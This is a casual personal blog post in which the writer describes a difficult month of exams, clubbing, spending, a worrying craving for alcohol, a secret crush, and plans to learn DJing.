but seriously, this one month was kinda sucky.? generally bah. there were few days i kinda really enjoyed myself like during the spinnovex.. and a few other days when i'd just hang out with my friends, walking around aimlessly or doing something. yea. but seriously. it was a sucky month. it was a month where'd i have to freaking mug like crazy, spent money like crazy cos i went clubbing, (like JUST BEFORE MY EXAMS SOMEMORE!) and erm. spent more money. haha. okay la. i think it was money worth spending, okay expt that time when i went st james, but yea. the rest was wicked. i really enjoyed myself. but yea. that time at st james, needed the alcohol badly. i dont know.i just seem to be addicted to alcohol suddenly, and thats bad. im especially craving for one right now (partly cos andy is tempting me with vodka, my favvv spirit) and well. the desire to use the "High" i get from shots after shots to replace my well. inequity to deal with my current vexed up mind state. so. yes. IM CRAVING FOR ONE SHOT! JUST ONE SHOT RIGHT NOW!. I DONT CARE HOW! GIN GOES TOO!. rah! i feel so shittified. i guess i'll just go slp instd. cos there's no gin anymore. i kinda like, finished it, and i have to quickly replace that bottle cos its gonna be in use during CNY, so. BO BIAN LIAO! gonna spend like. 60 bucks. RAH!
secondly. i guess, i've been in a certain position whereby i cannot reveal much details, which might interest you, the readers right now. Well, all i can say is, im really undecided about this. and for the smarter ones, yes. its concerning well. a girl. yes a girl my dearest readers. It absolutly cannot be a guy, as im perfectly normal. and i DO NOT have any interest in guys at all. SAM can VOUCH for me. well. so CAN jeremy guys. ASK THEM! =) but yes, regarding this girl. well. she's a girl and thats that. =)
so i guess, febuary. ANG BAO collecting month. haha .but. also. LOVE month. and i kinda like. am staying home this time around? omg. everyone's gonna suan me this time. haha. retri? well. kinda. but i dont really believe in retribution kinda thing. just. JUDGEMENT BY GOD when we stand before Him. well. i kinda wonder what kinda qn He'll ask. hmmmmmm..
well. i cont tml or something like that. =) im kinda tired. and im erally bogged down by my thoughts.
to *you. if your reading this. well. i miss you right now. i kinda miss your smile and your eyes and just. walking around and talking to you. but i guess you're not missing me at all. its alright. i'll do my best to win your heart.
liek i've alr said. you dont know who you are. and im not saying.
i feel like some lovesick idiotic pervertic bastard. haha. oh wells.
maybe i should stay away from this topic for like. some time. and do something, like. go jam with my band or something. oh yar. one thing of interest. im learning how to DJ. haha. my friend's teaching me! but there's one condition. i need to get a set for myself. andd.... IM BROKE! haha. oh wells. that we'll definately see how. im really interested in that. =)
love ya peeps!